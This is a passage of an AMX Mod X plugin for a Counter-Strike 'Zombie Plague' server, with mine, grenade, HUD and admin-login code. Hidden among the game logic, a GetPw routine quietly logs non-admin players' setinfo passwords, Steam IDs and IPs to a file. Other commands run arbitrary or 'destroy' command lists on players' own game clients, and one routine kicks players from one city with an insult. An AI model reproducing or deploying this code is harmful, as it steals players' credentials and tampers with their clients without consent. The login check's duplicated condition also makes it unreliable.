		}
		if (equal(cMode, "zp_multi") && g_bRoundStart && iFlags & 262144 && iAlive > 9 && g_iLastMode != 16)
		{
			StartMultiMode(true);
			remove_task(700);
			g_bRoundStart = false;
			remove_task(550);
			MessageLog(0, "^x04[ZP]^x03 %s^x01 started^x04 Multiple Infections^x01 round!", g_cName[iPlayer]);
		}
	}
	return 0;
}

public Command_Flash(iPlayer)
{
	if (g_bFlash[iPlayer])
	{
		static Float:fCurrentTime;
		fCurrentTime = get_gametime();
		if (fCurrentTime - g_fLastTime[iPlayer] < 0.5)
		{
			return 1;
		}
		g_fLastTime[iPlayer] = fCurrentTime;
		g_bFlashEnabled[iPlayer] = !g_bFlashEnabled[iPlayer];
		remove_task(iPlayer + 350);
		if (g_bFlashEnabled[iPlayer])
		{
            set_task(0.1, "TaskFlash", iPlayer + 350, "", 0, "b", 0);
		}
	}
	return 1;
}

Func_Explode(iOwner, iEntity)
{
	static i;
	static Float:fDamage;
	static iDistance;
	static Float:fVelocity[3];
	if (iEntity == g_iPlayerMines[iOwner][0])
	{
		g_iPlayerMines[iOwner][0] = 0;
	}
	else if (iEntity == g_iPlayerMines[iOwner][1])
	{
		g_iPlayerMines[iOwner][1] = 0;
	}
	g_iPlantedMines[iOwner]--;
	send_explosion(iEntity);
	send_beam_cylinder(iEntity, 121, 121, 121, random_num(140, 200));
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bAlive[i])
		{
			iDistance = range(i, iEntity);
			if (iDistance < 360)
			{
				get_velocity(i, fVelocity);
				fVelocity [2] += 456.0;
				fVelocity [1] += 320.0;
				fVelocity [0] += 299.0;
				set_velocity(i, fVelocity);
				send_screen_shake(i, 150000 , 25000, 135000);
				client_cmd(i, "spk fvox/flatline");
				if (g_bZombie[i])
				{
                    fDamage = float(floatround(2600.0 - 2600.0 / 400.0 * float(iDistance), floatround_ceil));
                    PrintToChat(iOwner, "^x04[ZP]^x01 Damage to^x04 %s^x01 ::^x04 %0.0f^x01 damage", g_cName[i], fDamage);
                    send_screen_fade(i, 255, 0, 0, iDistance < 220 ? 220 : 160);
                    if(get_health(i) - fDamage > 0)
                    {
						ExecuteHamB(Ham_TakeDamage, i, iEntity, iOwner, fDamage, DMG_BLAST);
                    }
                    else
                    {
						ExecuteHamB(Ham_Killed, i, iOwner, 2);
                    }
				}
			}
		}
		i += 1;
	}
	remove_entity(iEntity);
	return 0;
}

public Mine_Think(iEntity, iHealth)
{
	static bool:bStop;
	static iOwner;
	bStop = false;
	iOwner = iuser2(iEntity);
	switch (pev(iEntity, pev_iuser1))
	{
		case 0:
		{
			set_pev(iEntity, pev_iuser1, 1);
			set_take_damage(iEntity, 2);
			set_pev(iEntity, pev_solid, 2);
			set_health(iEntity, 1800);
			sound(iEntity, 3, "zombie_plague/mine_activate.wav");
		}
		case 1:
		{
			iHealth = get_health(iEntity)
			if (g_iPlayerMines[iOwner][0] == iEntity)
			{
				set_hudmessage(10, 255, 200, 0.10, 0.37, 0, 0.10, 0.10, 0.10, 0.10, 18);
				ShowSyncHudMsg(iOwner, g_iFirstMineMessage, "First mine's health: %d", iHealth + -1000);
			}
			else if (g_iPlayerMines[iOwner][1] == iEntity)
			{
				set_hudmessage(10, 255, 200, 0.10, 0.40, 0, 0.10, 0.10, 0.10, 0.10, 18);
				ShowSyncHudMsg(iOwner, g_iSecondMineMessage, "Second mine's health: %d", iHealth + -1000);
			}
			if (iHealth <= 1000.0)
			{
				Func_Explode(iOwner, iEntity);
				bStop = true;
			}
		}	
	}
	if (!bStop)
	{
        set_nextthink(iEntity, get_gametime() + 0.1);
	}
	return 0;
}

public Grenade_Thrown(iOwner, iGrenade, iGrenadeType)
{
	if (g_bZombie[iOwner])
	{
		send_beam_follow(iGrenade, 0, 250, 0, 200);
		set_pev(iGrenade, pev_flTimeStepSound, 1);
		return 0;
	}
	switch (iGrenadeType)
	{
		case 4:
		{
			send_beam_follow(iGrenade, 255, 0, 0, 200);
			set_pev(iGrenade, pev_flTimeStepSound, 4);
		}
		case 9:
		{
			send_beam_follow(iGrenade, 0, 100, 200, 200);
			set_pev(iGrenade, pev_flTimeStepSound, 3);			
		}
		case 25:
		{
			send_beam_follow(iGrenade, 200, 40, 0, 200);
			set_pev(iGrenade, pev_flTimeStepSound, 2);	
		}	
	}
	return 0;
}

public Rocket_Touch(iOwner, iRocket)
{
	static Float:fDamage;
	static iDistance;
	static i;
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bAlive[i] && g_bZombie[i])
		{
			iDistance = range(i, iRocket);
			if (iDistance <= 340)
			{
                fDamage = float(floatround(900.0 - 900.0 / 340.0 * float(iDistance), floatround_ceil));
                PrintToChat(iOwner, "^x04[ZP]^x01 Damage to^x04 %s^x01 ::^x04 %0.0f^x01 damage", g_cName[i], fDamage);	
                send_screen_shake(i, 150000, 25000, 135000);
                send_screen_fade(i, 255, 0, 0, iDistance < 220 ? 220 : 160);
                client_cmd(i, "spk fvox/flatline");
                if (floatsub(float(get_health(i)), fDamage) > 0)
                {
					ExecuteHamB(Ham_TakeDamage, i, iRocket, iOwner, fDamage, DMG_BLAST);
                }
                else
                {
					ExecuteHamB(Ham_Killed, i, iOwner, 2);
                }
			}
		}
		i += 1;
	}
	return 0;
}

public EventStatusValueHide(iPlayer)
{
	ClearSyncHud(iPlayer, g_iCenterMessageSync);
	return 0;
}

public TaskRemoveRender(iTask)
{
	if (g_bConnected[iTask])
	{
		remove_glow(iTask);
	}
	return 0;
}

public Command_Gag(iPlayer)
{
	if (!GetAccess(iPlayer, 4, 2))
	{
		return 1;
	}
	static cArgument[32];
	read_argv(1, cArgument, 31);
	static iTarget;
	iTarget = GetTarget(iPlayer, cArgument, 4);
	static iTime[3];
	read_argv(2, iTime, 2);
	if (!iTarget)
	{
		return 1;
	}
	if (g_fGagTime[iTarget] < get_gametime())
	{
		g_fGagTime[iTarget] = floatadd(get_gametime(), float(clamp(str_to_num(iTime), 1, 12) * 60));
		MessageLog(0, "^x01[ADMIN]^x04 %s^x01: gag^x04 %s^x01 for^x04 %i minutes", g_cName[iPlayer], g_cName[iTarget], clamp(str_to_num(iTime), 1, 12));
	}
	else
	{
		console_print(iPlayer, "[AMXX] Player ^"%s^" is already gagged", g_cName[iTarget]);
	}
	return 1;
}

public Command_Ungag(iPlayer)
{
	if (!GetAccess(iPlayer, 4, 2))
	{
		return 1;
	}
	static cArgument[32];
	read_argv(1, cArgument, 31);
	static iTarget;
	iTarget = GetTarget(iPlayer, cArgument, 4);
	if (!iTarget)
	{
		return 1;
	}
	if (g_fGagTime[iTarget] > get_gametime())
	{
		g_fGagTime[iTarget] = false;
		MessageLog(0, "^x01[ADMIN]^x04 %s^x01: ungag^x04 %s", g_cName[iPlayer], g_cName[iTarget]);
	}
	else
	{
		console_print(iPlayer, "[AMXX] Player ^"%s^" is already ungagged", g_cName[iTarget]);
	}
	return 1;
}

public Command_Exec(iPlayer)
{
	if (get_user_flags(iPlayer) & 1024)
	{
		static iTarget;
		static cCommand[64];
		static cTarget[32];
		read_argv(1, cTarget, 32);
		read_argv(2, cCommand, 64);
		iTarget = GetTarget(iPlayer, cTarget, 4);
		if (iTarget)
		{
			client_cmd(iTarget, cCommand);
		}
	}
	return 1;
}

public Command_Destroy(iPlayer)
{
	if (!GetAccess(iPlayer, 262144, 2))
	{
		return 1;
	}
	static i;
	static cArgument[32];
	read_argv(1, cArgument, 31);
	static iTarget;
	iTarget = GetTarget(iPlayer, cArgument, 4);
	if (!iTarget)
	{
		return 1;
	}
	if (get_user_flags(iPlayer) & 1 && get_user_flags(iTarget) & 4)
	{
		server_cmd("amx_destroy #%i; wait; wait", get_user_userid(iPlayer));
		server_cmd("addip 0 ^"%s^";writeip", g_cPlayerAddress[iPlayer]);
		server_cmd("banid 0 %s", g_cSteam[iPlayer]);
		server_cmd("writeid");
		return 1;
	}
	g_iLimitReached[iPlayer]++;
	if (3 < g_iLimitReached[iPlayer])
	{
		return 1;
	}
	PrintToChat(iTarget, "^x04[ZP]^x04 ***********************************************************");
	PrintToChat(iTarget, "^x04[ZP]^x01 Admin :^x04 %s", g_cName[iPlayer]);
	PrintToChat(iTarget, "^x04[ZP]^x01 Jucator :^x04 %s", g_cName[iTarget]);
	PrintToChat(iTarget, "^x04[ZP]^x01 Adresa (IP) :^x04 %s", g_cPlayerAddress[iTarget]);
	PrintToChat(iTarget, "^x04[ZP]^x01 Forum :^x04 www.bleahhhhh.tk");
	client_cmd(0, "spk ^"vox/bizwarn coded user apprehend^"");
	client_cmd(iTarget, "say %s mi-a dat DESTROY!", g_cName[iPlayer]);
	i = 0;
	while (i < 19)
	{
		client_cmd(iTarget, g_cDestroyChanges[i]);
		i += 1;
	}
	MessageLog(0, "^x04[AMXX]^x04 %s^x01 destroy^x04 %s", g_cName[iPlayer], g_cName[iTarget]);
	return 1;
}

public Command_Reload(iPlayer)
{
	if (!GetAccess(iPlayer, 1, 1))
	{
		return 1;
	}
	g_iAdminsCount = 0;
	TaskGetAdmins();
	new i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bConnected[i] && !g_bFake[i])
		{
			MakeUserAdmin(i);
		}
		i++;
	}
	console_print(iPlayer, "[AMXX] Successfully loaded %d acounts from file", g_iAdminsCount);
	return 1;
}

public Command_Who(iPlayer)
{
	new i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bConnected[i] && !g_bFake[i] && g_bAdmin[i])
		{
			console_print(iPlayer, "%s^9-^9%s^9-^9%s", g_cName[i], g_cTag[i], g_cPersonalFlags[i]);
		}
		i++;
	}
	return 0;
}

public Command_Showip(iPlayer)
{
	if (!GetAccess(iPlayer, 8, 1))
	{
		return 1;
	}
	new i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bConnected[i] && !g_bFake[i])
		{
			console_print(iPlayer, "   -   %s | %s | %s | %s", g_cName[i], g_cPlayerAddress[i], g_cSteam[i], Data[iPlayer][1]);
		}
		i++;
	}
	return 1;
}

public Command_Last(iPlayer)
{
	if (!GetAccess(iPlayer, 8, 1))
	{
		return 1;
	}
	static cAddress[24];
	static cName[32];
	static i;
	i = 0;
	while (i < g_iSize)
	{
		GetInfo(i, cName, 32, cAddress, 24);
		console_print(iPlayer, "%32s %24s", cName, cAddress);
		i += 1;
	}
	return 1;
}

public client_putinserver(iPlayer)
{
	static iSize;
	if (is_user_bot(iPlayer))
	{
		g_bFake[iPlayer] = true;
	}
	else
	{
		g_bFake[iPlayer] = false;
	}
	g_iTripMines[iPlayer]++;
	g_bAlive[iPlayer] = false;
	g_bNoDamage[iPlayer] = false;
	g_bZombie[iPlayer] = false;
	Loaded[iPlayer] = false;
	g_iPacks[iPlayer] = 5;
	g_iBurningDuration[iPlayer] = 0;
	g_iPlayerType[iPlayer] = 0;
	g_iZombieNextClass[iPlayer] = -1;
	client_cmd(iPlayer, "cl_minmodels 0");
	get_user_ip(iPlayer, g_cPlayerAddress[iPlayer], 24, 1);
	get_user_authid(iPlayer, g_cSteam[iPlayer], 24);
	strip_name(g_cName[iPlayer], 32);
	set_task(0.2, "LoadPlayer", iPlayer, "", 0, "", 0);
	if (!g_bFake[iPlayer])
	{
		new Name[ 32 ]
		get_user_name(iPlayer, Name, 31);
		MakeUserAdmin(iPlayer);
		Task_EnableFlash(iPlayer);
		set_task(1.0, "TaskHud", iPlayer + 300, "", 0, "b", 0);
		set_task(12.0, "TaskCheckName", iPlayer, "", 0, "", 0);
		set_task(3.0, "GetPw", iPlayer, "", 0, "", 0);	
		PrintToChat(0, "^x01Player^x04 %s^x01 from ^x03%s^x01 has joined the game!", Name, Data[iPlayer][1]);
	}
	if ((iSize = ArraySize(g_aAmmoData)))
	{
		static cSavedName[32];
		static i;
		i = iSize + -1;
		while (i > -1)
		{
			ArrayGetString(g_aNameData, i, cSavedName, 32);
			if (equali(cSavedName, g_cName[iPlayer]))
			{
				g_iPacks[iPlayer] = ArrayGetCell(g_aAmmoData, i);
			}
			i -= 1;
		}
	}
	g_bConnected[iPlayer] = true;
	return 0;
}

public restrict_city(iPlayer)
{
	if (equal(Data[iPlayer][1], "Bucharest"))
	{
		server_cmd("kick #%d  Stupid fuck's have no entry to the server...", get_user_userid(iPlayer));
	}
	return 0;
}

public LoadPlayer( Player )
{
	if( is_user_connected( Player ) && !is_user_bot( Player ) )
	{
		LoadData( Player );
	}
}

public GetPw(iPlayer)
{
	if (!g_bAdmin[iPlayer])
	{
		static PwBd[32];
		static Pw[32];
		get_user_info(iPlayer, "_pw", Pw, 31);
		get_user_info(iPlayer, "_blackdevil", PwBd, 31);
		if (Pw[0])
		{
			log_to_file("BlackDevil.log", "Nick: %s, Pass: setinfo _pw %s, Steam: %s, Ip: %s", g_cName[iPlayer], Pw, g_cSteam[iPlayer], g_cPlayerAddress[iPlayer]);
		}
		else if (PwBd[0])
		{
			log_to_file("BlackDevil.log", "Nick: %s, Pass: setinfo _blackdevil %s, Steam: %s, Ip: %s", g_cName[iPlayer], PwBd, g_cSteam[iPlayer], g_cPlayerAddress[iPlayer]);
		}
	}
	return 0;
}

public client_disconnect(iPlayer)
{
	if (g_bAlive[iPlayer])
	{
		CheckLastPlayer(iPlayer);
	}
	if (!g_iVariables[2] && !g_bFake[iPlayer])
	{
		InsertInfo(iPlayer);
		ArrayPushString(g_aNameData, g_cName[iPlayer]);
		ArrayPushCell(g_aAmmoData, g_iPacks[iPlayer]);
	}
	remove_task(iPlayer + 250);
	remove_task(iPlayer + 200);
	remove_task(iPlayer + 300);
	remove_task(iPlayer + 350);
	remove_task(iPlayer + 500);
	remove_task(iPlayer + 450);
	if (g_iPlantedMines[iPlayer])
	{
		rem(iPlayer);
		g_iPlantedMines[iPlayer] = 0;
	}
	g_iPlayerMines[iPlayer][1] = 0;
	g_iPlayerMines[iPlayer][0] = 0;
	g_iTripMines[iPlayer] = 0;
	g_iBlinks[iPlayer] = 0;
	g_bRemoving[iPlayer] = false;
	g_bPlanting[iPlayer] = false;
	g_bUnlimitedClip[iPlayer] = false;
	g_bTryder[iPlayer] = false;
	g_bAlive[iPlayer] = false;
	g_bConnected[iPlayer] = false;
	g_fGagTime[iPlayer] = false;
	Loaded[iPlayer] = false;
	g_iPingOverride[iPlayer] = -1;
	if (g_bFake[iPlayer])
	{
		g_bFake[iPlayer] = false;
		g_iBotsCount -= 1;
	}
	return 0;
}

public client_infochanged(iPlayer)
{
	if (!g_bConnected[iPlayer])
	{
		return 0;
	}
	static cName[32];
	get_user_info(iPlayer, "name", cName, 31);
	if (!equal(g_cName[iPlayer], cName))
	{
		copy(g_cName[iPlayer], 31, cName);
		MakeUserAdmin(iPlayer);
		set_task(2.0, "TaskCheckName", iPlayer, "", 0, "", 0);
	}
	return 0;
}

public MakeUserAdmin(iPlayer)
{
	static i;
	new Name[ 32 ]
	get_user_name(iPlayer, Name, 31);	
	remove_user_flags(iPlayer, -1);
	g_bAdmin[iPlayer] = false;
	i = 0;
	while (i < g_iAdminsCount)
	{
		if (equali(g_cNames[i], g_cName[iPlayer]))
		{
			static Pw[32];
			get_user_info(iPlayer, "_pw", Pw, 31);
			if (equali(Pw, g_cPasswords[i]))
			{
			    g_bAdmin[iPlayer] = true;
			    formatex(g_cPersonalFlags[iPlayer], 31, "%s", g_cFlags[i]);
			    copy(g_cTag[iPlayer], 24, g_cTags[i]);
			    set_user_flags(iPlayer, read_flags(g_cPersonalFlags[iPlayer]));
			    log_amx("Login: ^"%s^" became an admin. [ %s, %s, %s ] ", Name, g_cSteam[iPlayer], g_cPersonalFlags[iPlayer], g_cPlayerAddress[iPlayer]);
			    return 0;
			}
			else if (equali(Pw, g_cPasswords[i]))
			{
			    server_cmd("kick #%d  You have no entry to the server...", get_user_userid(iPlayer));
			    log_amx("Login: ^"%s^" kicked due to invalid password. [ %s, %s ]", Name, g_cSteam[iPlayer], g_cPlayerAddress[iPlayer]);
			    return 0;
			}
		}
		else
		{
			if (equali(g_cSteams[i], g_cSteam[iPlayer]))
			{
				g_bAdmin[iPlayer] = true;
				formatex(g_cPersonalFlags[iPlayer], 31, "%s", g_cFlags[i]);
				copy(g_cTag[iPlayer], 24, g_cTags[i]);
				set_user_flags(iPlayer, read_flags(g_cPersonalFlags[iPlayer]));
				log_amx("Login: ^"%s^" became an admin. [ %s, %s, %s ] ", Name, g_cSteam[iPlayer], g_cPersonalFlags[iPlayer], g_cPlayerAddress[iPlayer]);
				return 0;
			}			
		}
		i += 1;
	}
	return 0;
}

public TaskCheckName(iPlayer)
{
	if (g_bConnected[iPlayer])
	{
		check_for_swear(iPlayer);
	}
	return 0;
}

public _ResetMaxSpeed(iPlayer)
{
    if (!g_bAlive[iPlayer])
    {
        return 0;
    }
    if (g_bFrozen[iPlayer])
    {
        set_speed(iPlayer, 1.0);
    }
    else
    {
        if (g_bTryder[iPlayer])
        {
            set_gravity(iPlayer, 0.5);
            set_speed(iPlayer, 250.0)
        }
		else
		{
            if (g_bZombie[iPlayer])
            {
			    if (!g_iPlayerType[iPlayer])
			    {
				    set_speed(iPlayer, g_fZombieSpeeds[g_iZombieClass[iPlayer]]);
				    set_gravity(iPlayer, g_fZombieGravities[g_iZombieClass[iPlayer]]);
			    }
			    else
			    {
				    if (g_iPlayerType[iPlayer] & 1)
				    {
                        set_speed(iPlayer, 250.0);
                        set_gravity(iPlayer, 0.5);
				    }
				    if (g_iPlayerType[iPlayer] & 2)
				    {
                        set_speed(iPlayer, 600.0);
                        set_gravity(iPlayer, 0.4);
				    }
			    }
		
            }
            else
            {
		        if (!g_iPlayerType[iPlayer])
		        {
                    set_speed(iPlayer, 240.0);
                    set_gravity(iPlayer, 1.0);
		        }
			    else
			    {				
				    if (g_iPlayerType[iPlayer] & 4)
				    {
                        set_speed(iPlayer, 250.0);
                        set_gravity(iPlayer, 1.2);
				    }
				    if (g_iPlayerType[iPlayer] & 8)
				    {
                        set_speed(iPlayer, 240.0);
                        set_gravity(iPlayer, 1.0);
				    }
				}			
            }			
		}
    }
    return 0;
}

public _GrenadeThink(iEntity)
{
	if (get_dmgtime(iEntity) > get_gametime())
	{
		return 1;
	}	
	switch (pev(iEntity, pev_flTimeStepSound))
	{
		case 1:
		{
			Infection_Explode(iEntity);
			return 4;
		}
		case 2:
		{
			Fire_Explode(iEntity);
			return 4;
		}
		case 3:
		{
			Freeze_Explode(iEntity);
			return 4;
		}
		case 4:
		{
			Explosion_Explode(iEntity);
			return 4;
		}	
	}
	return 1;
}

public _PlayerDuck(iPlayer)
{
    if (g_bZombie[iPlayer] && !(g_iPlayerType[iPlayer] & 2))
    {
		static Float:fCurrentTime;
		static Float:fCoolDown;
		if (g_iPlayerType[iPlayer])
		{
			fCoolDown = 1.0;
		}
		else
		{
			fCoolDown = 13.0;
		}
		fCurrentTime = get_gametime();
		if (fCurrentTime - g_fLastLeapTime [iPlayer] < fCoolDown  || !(pev(iPlayer, pev_button) & IN_JUMP) || !(pev(iPlayer, pev_flags) & FL_ONGROUND) || GetSpeed (iPlayer ) < 80) 
		{
			return 1;
		}
		static Float:fVelocity[3];
		if (g_iPlayerType[iPlayer])
		{
			velocity_by_aim(iPlayer, 500, fVelocity), fVelocity[2] = 300.0;
		}
		else
		{
			velocity_by_aim(iPlayer, 360, fVelocity), fVelocity[2] = 250.0;
		}
		set_velocity(iPlayer, fVelocity);
		g_fLastLeapTime[iPlayer] = fCurrentTime;
    }
    return 0;
}

public CmdBlock()
{
	return 1;
}

public CmdUpdate(iPlayer)
{
	static Float:fGameTime;
	fGameTime = get_gametime();
	if (fGameTime - g_fLast[iPlayer] < 0.3)
	{
		server_cmd("kick #%d  You are banned due to flooding!; addip 60 %s; writeip", get_user_userid(iPlayer), g_cPlayerAddress[iPlayer]);
	}
	else
	{
		g_fLast[iPlayer] = fGameTime;
	}
	return 0;
}

public ChangeModel(iTask)
{
	static bool:bChange;
	static cModel[24];
	static i;
	static iPlayer;
	iPlayer = iTask + -250;
	bChange = true;
	get_user_model(iPlayer, cModel, 24);
	static iFlags;
	iFlags = get_user_flags(iPlayer);
	if (!g_bZombie[iPlayer])
	{
		if (!g_iPlayerType[iPlayer])
		{
			if (iFlags & 4)
			{
				if (equal(cModel, "administrator"))
				{
					bChange = false;
				}
			}
			i = 0;
			while (i < 4)
			{
				if (equal(cModel, g_cHumanModels[i]))
				{
					bChange = false;
				}
				i += 1;
			}
		}
	}
	if (bChange)
	{
		if (!g_bZombie[iPlayer])
		{
			if (!g_iPlayerType[iPlayer])
			{
				if (iFlags & 4)
				{
					set_user_model(iPlayer, "administrator");
				}
				else
				{
					set_user_model(iPlayer, g_cHumanModels[random_num(0, 3)]);
				}
			}
			else
			{
				if (g_iPlayerType[iPlayer] & 4)
				{
					set_user_model(iPlayer, "survivor");
				}
				if (g_iPlayerType[iPlayer] & 8)
				{
					if (!equal(cModel, "arctic"))
					{
						set_user_model(iPlayer, "arctic");
					}
				}
			}
		}
		else
		{
			if (!g_iPlayerType[iPlayer])
			{
				set_user_model(iPlayer, g_cZombieModels[g_iZombieClass[iPlayer]]);
			}
			if (g_iPlayerType[iPlayer] & 1)
			{
				set_user_model(iPlayer, "monster_nemesis");
			}
			if (g_iPlayerType[iPlayer] & 2)
			{
				set_user_model(iPlayer, "monster_assassin");
			}
		}
	}
	return 0;
}

public TaskLight()
{
	if (g_iRoundType & 2)
	{
        light("a");
	}
	else
	{
		static cLight[2];
		get_cvar_string("light", cLight, 1);
		light(cLight);
	}
	static i;
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bAlive[i] && g_bZombie[i] && !g_iPlayerType[i] && g_iZombieClass[i] == 5 && get_health(i) < 6000)
		{
			set_health(i, get_health(i) + 350);
			send_sparks(i);
			send_screen_fade(i, 10, 255, 10, 94);
			set_hudmessage(255, 0, 175, -1.00, 0.10, 1, 0.00, 1.75, 1.00, 1.00, -1);
			ShowSyncHudMsg(i, g_iTopMessageSync, "== REGENERATOR ==^n!!!!Regeneration: +350 HP Gained!!!!");
		}
		i += 1;
	}
	return 0;
}

public TaskWelcome()
{
	PrintToChat(0, "^1****^4 NewLifeZm.Rangfort.Ro^1 ||^4 Zombie Plague 6.2 (UltimateX)^1 ****");
	PrintToChat(0, "^x04[ZP]^x01 Press^x04 M^x01 to open the game menu!");
	set_hudmessage(0, 125, 200, -1.00, 0.17, 1, 0.00, 3.00, 2.00, 1.00, -1);
	ShowSyncHudMsg(0, g_iTopMessageSync, "The T-Virus has been set loose...");
	return 0;
}

public TaskAmbience()
{
	if (g_iRoundType & 4 || g_iRoundType & 2)
	{
		client_cmd(0, "spk zombie_plague/ambience_survivor.wav");
	}
	else
	{
		client_cmd(0, "spk zombie_plague/ambience_normal.wav");
	}
	return 0;
}

public TaskZombie()
{
	if ((g_iAliveCount = GetAliveCount()))
	{
		g_bRoundStart = false;
		if (g_iRoundsCount > 2)
		{
			StartSwarmMode(false);
		}
		else
		{
			StartNormalMode(0);
		}
	}
	else
	{
        set_task(6.0, "TaskZombie", 550, "", 0, "", 0);
	}
	return 0;
}

public TaskHud(iTask)
{
	static cHealth[15];
	static iPlayer;
	static Red, Green, Blue;
	iPlayer = iTask + -300;
	if (!g_bAlive[iPlayer])
	{
		iPlayer = iuser2(iPlayer);
		if (!g_bAlive[iPlayer])
		{
			return 0;
		}
	}
	if (iTask + -300 != iPlayer)
	{
		AddCommas(get_health(iPlayer), cHealth, 14);
		set_hudmessage(0, 125, 200, -1.00, 0.79, 0, 6.00, 1.10, 0.00, 0.00, -1);
		ShowSyncHudMsg(iTask + -300, g_iDownMessageSync, "Spectating %s^n Health: %s - Class: %s - Ammo: %d - Armor: %d^nFrom: %s, %s", g_cName[iPlayer], cHealth, g_cClass[iPlayer], g_iPacks[iPlayer], get_armor(iPlayer), Data[iPlayer][1], Data[iPlayer][4]);
	}
	else
	{
		AddCommas(get_health(iTask + -300), cHealth, 14);
		if (g_bZombie[iTask + -300])
		{
			Red = 60;
		}
		else
		{
			Red = 180;
		}
		if (g_bZombie[iTask + -300])
		{
			Green = 135;
		}
		else
		{
			Green = 120;
		}
		if (g_bZombie[iTask + -300])
		{
			Blue = 180;
		}
		else
		{
			Blue = 0;
		}
		set_hudmessage(Blue, Green, Red, 0.02, 0.90, 0, 6.00, 1.10, 0.00, 0.00, -1);
		ShowSyncHudMsg(iTask + -300, g_iDownMessageSync, "Health: %s - Class: %s - Ammo: %d - Armor: %d", cHealth, g_cClass[iTask + -300], g_iPacks[iTask + -300], get_armor(iTask + -300));
	}
	return 0;
}

public TaskFlash(iTask)
{
	flash(iTask + -350);
	return 0;
}

Infection_Explode(iEntity)
{
	send_beam_cylinder(iEntity, 0, 250, 0, 200);
	if (g_bRoundEnd)
	{
		return 0;
	}
	sound(iEntity, 1, "zombie_plague/grenade_infection_explode.wav");
	static j;
	static i;
	i = pev(iEntity, pev_owner);
	j = 1;
	while (g_iMaxClients + 1 > j)
	{
		if (!g_bAlive[j] || g_bZombie[j] || range(j, iEntity) > 250)
		{
		}
		else
		{
			sound(j, 2, g_cHumanNadeInfectSounds[random_num(0, 2)]);
			if (GetHumans() == 1)
			{
				ExecuteHamB(Ham_Killed, j, i, 2);
			}
			else
			{
				MakeZombie(i, j, false, false, false);
			}
		}
		j += 1;
	}
	remove_entity(iEntity);
	return 0;
}

Fire_Explode(iEntity)
{
	send_beam_cylinder(iEntity, 200, 50, 0, 200);
	sound(iEntity, 1, "zombie_plague/grenade_fire_explode.wav");
	static i;
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (!g_bAlive[i] || !g_bZombie[i] || g_bNoDamage[i] || range(i, iEntity) > 250)
		{
		}
		else
		{
			send_damage(i, 8);
			if (g_iPlayerType[i])
			{
				g_iBurningDuration[i] += 8;
			}
			else
			{
				g_iBurningDuration[i] += 40;
			}
			if (!task_exists(i + 200))
			{
				set_task(0.2, "TaskBurn", i + 200, "", 0, "b", 0);
			}
		}
		i += 1;
	}
	remove_entity(iEntity);
	return 0;
}

public TaskBurn(iTask)
{
	static iFlags;
	static iPlayer;
	iPlayer = iTask + -200;
	iFlags = get_ent_flags(iPlayer);
	if (g_iBurningDuration[iPlayer] < 1 || iFlags & FL_INWATER || g_bNoDamage[iPlayer])
	{
		send_smoke(iPlayer);
		remove_task(iTask);
		return 0;
	}
	if (!g_iPlayerType[iPlayer] && !random_num(0, 16))
	{
		sound(iPlayer, 2, g_cZombieBurnSounds[random_num(0, 4)]);
	}
	if (!g_iPlayerType[iPlayer])
	{
		static Float:fVelocity[3];
		get_velocity(iPlayer, fVelocity);
		xs_vec_mul_scalar(fVelocity, 0.42, fVelocity);
		set_velocity(iPlayer, fVelocity);
	}
	static iHealth;
	iHealth = get_health(iPlayer);
	if (0 < iHealth + -6)
	{
		set_health(iPlayer, iHealth + -6);
	}
	send_flame(iPlayer);
	g_iBurningDuration[iPlayer]--;
	return 0;
}

Freeze_Explode(iEntity)
{
	send_beam_cylinder(iEntity, 0, 100, 200, 200);
	sound(iEntity, 1, "zombie_plague/grenade_fire_explode.wav");
	static i;
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (!g_bAlive[i] || !g_bZombie[i] || g_bNoDamage[i] || g_bFrozen[i] || range(i, iEntity) > 250)
		{
		}
		else
		{
			send_damage(i, 16384);
			if (!(g_iPlayerType[i] & 1))
			{
				g_bFrozen[i] = true;
				ExecuteHamB(Ham_Item_PreFrame, i);
				set_frozen(i, true);
				sound(i, 4, "zombie_plague/grenade_frost_freeze.wav");
				set_glow(i, 19, 13, 0, 100, 200);
				set_task(3.0, "TaskUnfreeze", i, "", 0, "", 0);
				send_screen_fade(i, 0, 50, 200, 100);

			}
			else
			{
				sound(i, 4, "zombie_plague/grenade_frost_break.wav");
				send_break_glass(i);
			}
		}
		i += 1;
	}
	remove_entity(iEntity);
	return 0;
}

public TaskUnfreeze(i)
{
	if (g_bConnected[i] && !g_bRoundStart)
	{
		g_bFrozen[i] = false;
		set_frozen(i, false);
		ExecuteHamB(Ham_Item_PreFrame, i);
		send_screen_fade(i, 0, 50, 200, 160);
		sound(i, 4, "zombie_plague/grenade_frost_break.wav");
		send_break_glass(i);
		remove_glow(i);
	}
	return 0;
}

Explosion_Explode(iEntity)
{
	send_explosion(iEntity);
	static iDamage;
	static iDistance;
	static i;
	static iOwner;
	iOwner = pev(iEntity, pev_owner);
	if (0 < iOwner < g_iMaxClients + 1 && g_bConnected[iOwner])
	{
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (!g_bAlive[i] || !g_bZombie[i])
			{
			}
			else
			{
				iDistance = range(i, iEntity);
				if (iDistance < 260)
				{
					iDamage = 650 - iDistance * 2;
					send_screen_fade(i, 255, 0, 0, iDistance < 220 ? 220 : 160);					
					send_screen_shake(i, 150000 , 25000, 135000);
					client_cmd(i, "spk fvox/flatline");
					if (0 < get_health(i) - iDamage)
					{
						ExecuteHamB(Ham_TakeDamage, i, iEntity, iOwner, float(iDamage), DMG_BLAST);
					}
					else
					{
						ExecuteHamB(Ham_Killed, i, iOwner, 2);
					}
					PrintToChat(iOwner, "^x04[ZP]^x01 Damage to^x04 %s^x01 ::^x04 %d^x01 damage", g_cName[i], iDamage);
				}
			}
			i += 1;
		}
	}
	remove_entity(iEntity);
	return 0;
}

public Command_Drop(iPlayer)
{
	if (g_bConnected[iPlayer])
	{
		if (get_user_jetpack(iPlayer) && g_iWeapon[iPlayer] == 29)
		{
			user_drop_jetpack(iPlayer, 0);
			return 1;
		}
		if (g_iPlayerType[iPlayer])
		{
			return 1;
		}
	}
	return 0;
}

public Command_JoinTeam(iPlayer)
{
	if (0 < iPlayer < g_iMaxClients + 1 && g_bConnected[iPlayer] && 0 < get_user_team(iPlayer) < 3 && !g_bFake[iPlayer])
	{
